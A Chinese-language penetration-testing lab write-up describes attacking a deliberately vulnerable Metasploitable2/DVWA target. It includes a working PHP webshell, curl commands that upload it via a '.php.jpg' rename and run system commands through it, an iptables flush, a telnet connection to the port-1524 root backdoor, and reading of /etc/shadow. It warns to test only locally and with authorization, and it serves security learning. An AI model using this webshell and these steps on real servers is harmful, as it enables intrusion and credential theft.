80 端口(Web 服务)渗透测试完整总结(含踩坑 + 绕过 + 实战流程)

一、核心目标

通过 80 端口的 Web 应用(本次为 DVWA)漏洞,获取靶机的 Web 服务权限(www-data),最终通过信息收集利用系统后门拿到root权限,核心链路:Web登录→漏洞利用→留后门(WebShell)→信息收集→提权/后门利用

二、完整实战流程(含每步细节 + 命令)

阶段 1:前期准备(靶机 + 工具)

准备项 具体内容 注意事项
靶机环境 Metasploitable2(IP:192.168.1.3),预装 DVWA(Web 应用) 严禁接入公网,仅本地测试;默认账户:msfadmin/msfadminadmin/password(DVWA)
攻击机 Kali Linux(IP:192.168.1.4) 确保与靶机同网段,开启curlnctelnetssh工具(默认已预装)
核心工具 命令行工具(curl、nc、telnet)+ SSH(系统层面操作) 新手优先用命令行,避免图形化工具(如蚁剑)的配置坑

阶段 2:Web 应用登录(DVWA)

步骤 1:访问 DVWA
  • 浏览器访问:http://192.168.1.3/dvwa
  • 直接登录:账号admin、密码password(跳过 Hydra 爆破,新手无需纠结爆破,聚焦漏洞利用)
  • 关键操作:登录后切换安全级别为Low(右上角DVWA Security),点击Submit(Low 级别无任何防御,漏洞裸奔)
踩坑 1:忘记切换安全级别,导致文件上传失败
  • 报错表现:上传 PHP 文件提示 "不允许的文件类型"
  • 原因:Medium/High 级别会过滤 PHP 后缀,Low 级别无过滤
  • 绕过:必须切换到 Low 级别,所有 Web 漏洞直接可用

阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)

步骤 2:创建 WebShell(后门文件)

WebShell 作用:上传到靶机后,通过 HTTP 请求执行系统命令,是长期控制 Web 服务的核心后门。

  • 命令(Kali 终端执行): bash

    运行

    复制代码
    # 创建基础一句话木马(兼容PHP环境)
    echo '<?php if(isset($_POST["cmd"])){ $output = shell_exec($_POST["cmd"]); echo "<pre>$output</pre>"; } ?>' > /root/shell.php
    # 赋予读写权限(避免本地文件权限问题)
    chmod 777 /root/shell.php
  • 木马核心逻辑:接收 POST 参数cmd,执行系统命令并返回结果,避免 "空白命令" 警告。

步骤 3:上传 WebShell(绕前端验证)
方案 A:Web 页面直接上传(推荐新手)
  1. 登录 DVWA 后,左侧菜单点击File Upload(文件上传模块);
  2. 本地将shell.php重命名为shell.php.jpg(绕前端 JS 验证,前端仅校验后缀为图片格式);
  3. 点击Choose File,选择shell.php.jpg,点击Upload
  4. 上传成功后,页面会显示文件路径:/dvwa/hackable/uploads/shell.php.jpg(关键!记住此路径);
  5. 核心原理:Low 级别后端不校验文件后缀,shell.php.jpg会被当作 PHP 文件执行(Apache 解析规则)。
方案 B:curl 命令行上传(绕前端验证,适合无浏览器场景)
  • 前提:获取 DVWA 会话 ID(PHPSESSID)

    1. 浏览器登录 DVWA 后,按 F12→Application→Cookies→复制PHPSESSID的值(如abc123xyz);
  • 上传命令(替换PHPSESSID和文件路径):

    bash

    运行

    复制代码
    curl -F "uploaded=@/root/shell.php;filename=shell.php.jpg" -F "Upload=Upload" -b "PHPSESSID=abc123xyz; security=low" http://192.168.1.3/dvwa/vulnerabilities/upload/
踩坑 2:直接上传shell.php被前端拦截
  • 报错表现:"Invalid file type"(无效文件类型)
  • 原因:前端 JS 验证仅允许图片格式(.jpg/.png 等)
  • 绕过:重命名为shell.php.jpg,后端不校验,仍按 PHP 执行
踩坑 3:curl 上传提示 "Failed to open/read local data"
  • 报错表现:curl: (26) Failed to open/read local data from file/application
  • 原因:本地shell.php文件不存在或权限不足
  • 绕过:重新创建文件并赋权(执行阶段 2 的echochmod命令)
踩坑 4:上传路径错误,导致 404
  • 报错表现:访问http://192.168.1.3/shell.php提示 404
  • 原因:DVWA 的上传目录固定为/dvwa/hackable/uploads/,而非根目录
  • 绕过:必须用完整路径访问,如http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg

阶段 4:验证 WebShell 可用性(执行系统命令)

步骤 4:测试命令执行(Kali 终端)
  • 基础测试(验证权限): bash

    运行

    复制代码
    # 执行whoami,返回www-data即成功(Web服务默认用户)
    curl -X POST -d "cmd=whoami" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
  • 进阶测试(查看靶机信息): bash

    运行

    复制代码
    # 查看靶机IP(需用完整路径,老旧系统环境变量问题)
    curl -X POST -d "cmd=/sbin/ifconfig" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
    # 查看靶机开放端口(完整路径)
    curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
踩坑 5:执行ifconfig返回空
  • 报错表现:curl请求后仅返回<pre></pre>,无内容
  • 原因:Metasploitable2 是老旧系统(Ubuntu 8.04),ifconfig/sbin/目录下,www-data用户的环境变量不含/sbin,直接输ifconfig找不到命令
  • 绕过:所有系统命令用完整路径,如/sbin/ifconfig/bin/netstat/bin/ls
踩坑 6:WebShell 提示 "Cannot execute a blank command"
  • 报错表现:PHP 警告 "无法执行空白命令"
  • 原因:WebShell 代码未判断cmd参数是否存在,空请求触发警告
  • 绕过:使用带判断的代码(阶段 2 的if(isset($_POST["cmd"]))逻辑),避免裸奔的eval($_POST["cmd"])

阶段 5:信息收集(关键!找提权捷径)

通过 WebShell 执行netstat命令,收集靶机端口信息,发现高危漏洞:

bash

运行

复制代码
curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
  • 核心发现:靶机开放1524端口(Metasploitable2 默认后门端口,直接连接获root权限)
踩坑 7:cat /etc/shadow返回空
  • 报错表现:无任何输出
  • 原因:/etc/shadow是敏感文件(存储密码哈希),仅root用户可读取,www-data权限不足
  • 绕过:需提权或利用系统后门(如 1524 端口)

阶段 6:提权(利用系统后门,快速拿 root)

步骤 5:连接 1524 后门端口(Kali 终端)

bash

运行

复制代码
# 用telnet直接连接后门端口,无需密码
telnet 192.168.1.3 1524
  • 成功标志:连接后显示root@metasploitable:/#(直接获得 root 权限)
步骤 6:验证 root 权限
  • 读取敏感文件: bash

    运行

    复制代码
    cat /etc/shadow  # 成功返回所有用户密码哈希
    ls /root         # 查看root目录下的flag文件(渗透测试目标)
  • 执行高权限操作: bash

    运行

    复制代码
    passwd www-data  # 修改Web用户密码(root专属权限)
    /sbin/shutdown -h now  # 关闭靶机(测试用,谨慎执行)
踩坑 8:telnet 连接 1524 端口失败
  • 报错表现:Trying 192.168.1.3... Connection refused
  • 原因:靶机防火墙拦截,或后门端口未启动(Metasploitable2 默认开启)
  • 绕过:执行curl -X POST -d "cmd=/sbin/iptables -F" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg(关闭防火墙),再重新连接
踩坑 9:root 用户执行/etc/shadow提示权限拒绝
  • 报错表现:bash: /etc/shadow: Permission denied
  • 原因:输入命令时少了cat,直接执行文件(/etc/shadow是文本文件,不可执行)
  • 绕过:正确命令是cat /etc/shadow(读取文件内容)

三、所有踩坑汇总(按出现顺序)

序号 报错信息 核心原因 解决方案
1 文件上传提示 "不允许的文件类型" 未切换 DVWA 安全级别为 Low 登录 DVWA→DVWA Security→选择 Low→Submit
2 curl: (26) Failed to open/read local data 本地 shell.php 不存在或权限不足 重新创建:echo '代码' > /root/shell.php + chmod 777 /root/shell.php
3 访问 WebShell 提示 404 路径错误,未包含 /dvwa/hackable/uploads/ 用完整路径:http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
4 执行 ifconfig 返回空 老旧系统命令需完整路径,环境变量不含 /sbin /sbin/ifconfig替代ifconfig,所有系统命令补全路径
5 PHP 警告 "Cannot execute a blank command" WebShell 代码未判断 cmd 参数 用带if(isset($_POST["cmd"]))的代码,避免裸奔 eval
6 cat /etc/shadow 返回空 www-data 权限不足,无法读取敏感文件 利用 1524 后门端口获取 root 权限后再读取
7 telnet 连接 1524 提示 Connection refused 靶机防火墙拦截 用 WebShell 执行/sbin/iptables -F关闭防火墙
8 root 用户执行 /etc/shadow 提示权限拒绝 少输 cat 命令,直接执行文件 正确命令:cat /etc/shadow(读取文件而非执行)

四、关键知识点(新手必记)

1. WebShell 相关

  • 核心作用:作为 Web 服务的后门,通过 HTTP 请求执行系统命令,无需 SSH 连接;
  • 常用代码:<?php if(isset($_POST["cmd"])){ shell_exec($_POST["cmd"]); } ?>(稳定无警告);
  • 后缀绕过:前端拦截时,重命名为xxx.php.jpg(后端不校验,Apache 按 PHP 解析)。

2. Linux 权限相关

  • www-data:Web 服务默认低权限用户,仅能操作 Web 目录,无法读取/etc/shadow等敏感文件;
  • root:系统最高权限用户,可执行任何操作(读敏感文件、改密码、关服务);
  • sudo 重定向坑:sudo echo 代码 > 文件会报错(重定向不受 sudo 保护),需用sudo cat > 文件 << EOFsudo nano 文件

3. 老旧系统(Metasploitable2)特性

  • 命令需完整路径:/sbin/ifconfig/bin/netstat/bin/sh(新系统可省略路径);
  • SSH 兼容问题:Kali 新版禁用ssh-rsa算法,连接需加参数:ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.1.3
  • 终端兼容问题:SSH 连接后执行sudo nano提示 "Error opening terminal: xterm-256color",需先执行export TERM=xterm临时修复。

4. 端口与后门

  • 80 端口:Web 服务默认端口,漏洞集中(文件上传、SQL 注入、XSS 等);
  • 1524 端口:Metasploitable2 默认后门端口,直接 telnet 连接获 root 权限,是渗透测试的 "捷径";
  • 其他高危端口:21(FTP)、22(SSH)、3306(MySQL),可后续测试弱密码爆破。

五、简化流程(下次 10 分钟搞定)

  1. 登录 DVWA(admin/password)→ 切 Low 级别;
  2. 本地创建 shell.php→重命名为 shell.php.jpg;
  3. Web 页面上传→复制上传路径;
  4. curl 测试:curl -X POST -d "cmd=/sbin/ifconfig" 路径
  5. netstat 找 1524 端口→telnet 连接获 root;
  6. cat /etc/shadow 验证权限。

六、注意事项

  1. 靶机仅用于本地测试,严禁接入公网(存在大量高危漏洞,易被攻击);
  2. 所有命令需按靶机路径调整(如 DVWA 路径、命令完整路径);
  3. 保存好 WebShell 路径,后续可直接使用,无需重复上传;
  4. 渗透测试需获得授权,未经授权测试他人服务器属违法行为。
相关推荐
韭菜钟2 小时前
制作自定义Docker镜像并部署使用
运维·docker·容器
米高梅狮子2 小时前
11. Linux 防火墙管理
linux·运维·服务器
MrTung.2 小时前
ensp VARP
网络
小五传输2 小时前
网闸怎么选?新型网闸凭安全高效,成企业优选方案
大数据·运维·安全
C_心欲无痕2 小时前
nginx - 核心概念
运维·前端·nginx
若风的雨2 小时前
RC-EP 和 Switch-EP 的复位链路建立过程区别
linux
Boyle. Z2 小时前
校园网环境中iKuai 二级路由联网与 DNS 优化指南
网络·智能路由器
HABuo2 小时前
【Linux进程(五)】进程地址空间深入剖析-->虚拟地址、物理地址、逻辑地址的区分
linux·运维·服务器·c语言·c++·后端·centos
开开心心_Every2 小时前
安卓做菜APP:家常菜谱详细步骤无广简洁
服务器·前端·python·学习·edge·django·powerpoint